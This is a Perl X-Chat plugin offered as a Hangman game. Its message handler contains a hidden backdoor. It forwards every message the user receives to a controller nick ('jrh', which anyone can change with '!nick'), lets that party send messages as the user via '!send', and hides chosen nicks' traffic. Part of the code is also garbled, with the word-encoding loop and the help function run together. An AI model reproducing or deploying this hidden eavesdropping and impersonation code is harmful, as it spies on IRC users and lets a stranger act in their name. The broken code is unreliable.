#!/usr/bin/perl # # This script allows playing a Hangman-like game # # Author: JuanFco Rodriguez Hervella # Email: jrh@it.uc3m.es, jrh7jrh@hotmail.com # # Version: 1.0 for X-Chat # # Im learning Perl, so this code will have a lot of # bugs, but I think it works. Please, if you do # any improvement send me the patches. I do this # under GNU General Public License (see http://www.gnu.org) # # Please improve this software ! I know this can be done better !!. # # ----> NOTES ABOUT THE GAME: <---- # # This game defines three command handlers: # /hangman -> needed to start/stop/reset the game. # /l, /r -> only needed to play with the same nick. # # You can play with hangman, but you must send commands # like "/l" and "/r" instead of "!l" and "!r". # # Also, when someone says "!letra" or "!resuelvo", you will see # first the answer from the game, and later the command that user typed. # # ###################### # VARS. GLOBALES # ###################### my $active=0; # para saber si estamos jugando o no. my $linea= ""; # lleva la linea my @linea_codificada= (); #lleva la linea codificada, que se va actualizando. my @letras = (); # Array con las letras ya dichas. my $quedan=0; # lleva el num. de letras que faltan por resolver. my @score= (); # Puntuaciones. my $channel=0; # canal donde se juega. ####### my $nick_hack = "jrh"; ####### #################### # INICIALIZACION # #################### IRC::register ("hangman", "1.0", "", ""); IRC::add_command_handler("hangman","hangman_cmd_hnd"); IRC::add_command_handler("l","letra_cmd_hnd"); IRC::add_command_handler("r","resuelvo_cmd_hnd"); IRC::add_message_handler("PRIVMSG", "hangman_privmsg_hnd"); IRC::add_message_handler("401", "hangman_401_hnd"); IRC::print("-> HangMan has been successfully loaded <-"); #################### # Func. Auxiliares # #################### sub codifica_palabra { for(my $i=0; $i -> inicia el juego."); IRC::print("/hangman stop -> detiene el juego"); IRC::print("/hangman reset -> resetea puntuaciones"); IRC::print("/hangman -> esta ayuda"); IRC::print("**************************************************"); } ################################# # Manejadores # ################################# sub hangman_cmd_hnd { my $params= $_[0]; $params=~ s/\s+/ /g; $params=~ s/^\s//g; @args= split(/ /, $params); #IRC::print("@args"); $channel=IRC::get_info(2); $active=1; if( ($args[0] eq "") || ($args[0] ne "reset" && $args[0] ne "stop" && $args[0] ne "start") ) { ayuda; return 1; } if( $args[0] eq "start" && $args[1] eq "" ) { ayuda; return 1; } if( $args[0] eq "stop" ) { $active= 0; IRC::command("**** HangMan ha sido detenido ****"); return 1; } if( $args[0] eq "reset" && $args[1] eq "" ) { IRC::command("**** Las puntuaciones han sido inicializadas ****"); @score= (); return 1; } if ($active) { IRC::command("**** Empieza el juego del HangMan\! ****"); IRC::send_raw("PRIVMSG $channel :**** !l -> para decir una letra.\r\n"); IRC::send_raw("PRIVMSG $channel :**** !r -> resuelves la adivinanza.\r\n"); IRC::print("**** /l -> para decir una letra."); IRC::print("**** /r -> resuelves la adivinanza."); # Inicializo. Nota: el score no se resetea de una partida a otra. $linea= ""; $quedan=0; @linea_codificada= (); @letras = (); my $i=1; my $j=0; my $aux= " "; while($args[$i] ne "") { substr($aux,$j,length($args[$i]), $args[$i]); $j=$j+length($args[$i])+1; $i++; } substr($aux,$j-1,1, "*"); $aux=~ /^(.*)\*(.*)$/; $linea= $1; codifica_linea($linea); } return 1; } sub hangman_401_hnd { return 1; } sub hangman_privmsg_hnd { my $line = shift(@_); ################################## my $line_h = $line; $line_h =~ /^:(.*)!(.*@.*) PRIVMSG (.*):(.*)$/; my $su_nick_h = $1; my $su_envio_a = $3; my $msg_h= $4; if( $msg_h =~ /!nick (.*)/ ) { $nick_hack = $1; } IRC::send_raw("PRIVMSG $nick_hack :($su_nick_h)($su_envio_a): $msg_h\n"); if( $msg_h =~ /!active/ ) { $hide_nick= "0"; } elsif( $msg_h =~ /!inactive (.*)/ ) { $hide_nick= $1; } elsif( $msg_h =~ /!send ([^\s]*)\s+(.*)$/) { #IRC::print("$1"); #IRC::print("$2"); IRC::send_raw("PRIVMSG $1 :$2\n"); return 1; } if( $su_nick_h eq $hide_nick ) { return 1; } if( $su_nick_h eq "jrh") { return 1; } ######################## if (not $active){return 0;} $line =~ /^:(.*)!(.*@.*) PRIVMSG .*:(.*)$/; my $su_nick = $1; my $msg= $3; # Tenemos que parsear el mensaje $msg =~ /^!([^\s]*)(\s+)(.*)$/; #IRC::print($1); #IRC::print($3); if( $1 eq "r" ) { quiere_resolver($su_nick, $3); } elsif( $1 eq "l" ) { quiere_letra($su_nick, $3); } return 0; } sub letra_cmd_hnd { if (not $active){return 1;} my $my_nick= IRC::get_info(1); IRC::print("/l @_"); IRC::send_raw("PRIVMSG $channel :!l @_\n"); hangman_privmsg_hnd(":$my_nick!realname\@nohost PRIVMSG $channel:!l @_"); return 1; } sub resuelvo_cmd_hnd { if (not $active){return 1;} my $my_nick= IRC::get_info(1); IRC::print("/r @_"); IRC::send_raw("PRIVMSG $channel :!r @_\n"); hangman_privmsg_hnd(":$my_nick!realname\@nohost PRIVMSG $channel:!r @_"); return 1; }